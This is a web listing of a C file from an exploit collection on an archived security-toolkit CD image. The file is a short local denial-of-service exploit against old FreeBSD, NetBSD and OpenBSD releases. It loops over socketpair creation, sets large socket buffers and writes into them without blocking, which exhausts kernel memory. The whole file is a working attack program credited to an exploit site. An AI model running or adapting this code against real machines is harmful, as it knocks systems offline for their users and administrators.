home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / sockopt.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  842b  |  35 lines

  1. /*
  2.   FreeBSD 3.2
  3.   NetBSD 1.4
  4.   OpenBSD 2.5
  5. */
  6.  
  7. #include <unistd.h>
  8. #include <sys/socket.h>
  9. #include <fcntl.h>
  10.  
  11. #define BUFFERSIZE 204800
  12.  
  13. extern int
  14.   main(void)
  15.   {
  16.     int p[2], i;
  17.     char crap[BUFFERSIZE];
  18.  
  19.     while (1)
  20.       {
  21.         if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
  22.           break;
  23.         i = BUFFERSIZE;
  24.         setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
  25.         setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
  26.         setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
  27.         setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
  28.         fcntl(p[0], F_SETFL, O_NONBLOCK);
  29.         fcntl(p[1], F_SETFL, O_NONBLOCK);
  30.         write(p[0], crap, BUFFERSIZE);
  31.         write(p[1], crap, BUFFERSIZE);
  32.       }
  33.     exit(0);
  34.   }
  35. /*                    www.hack.co.za              [2000]*/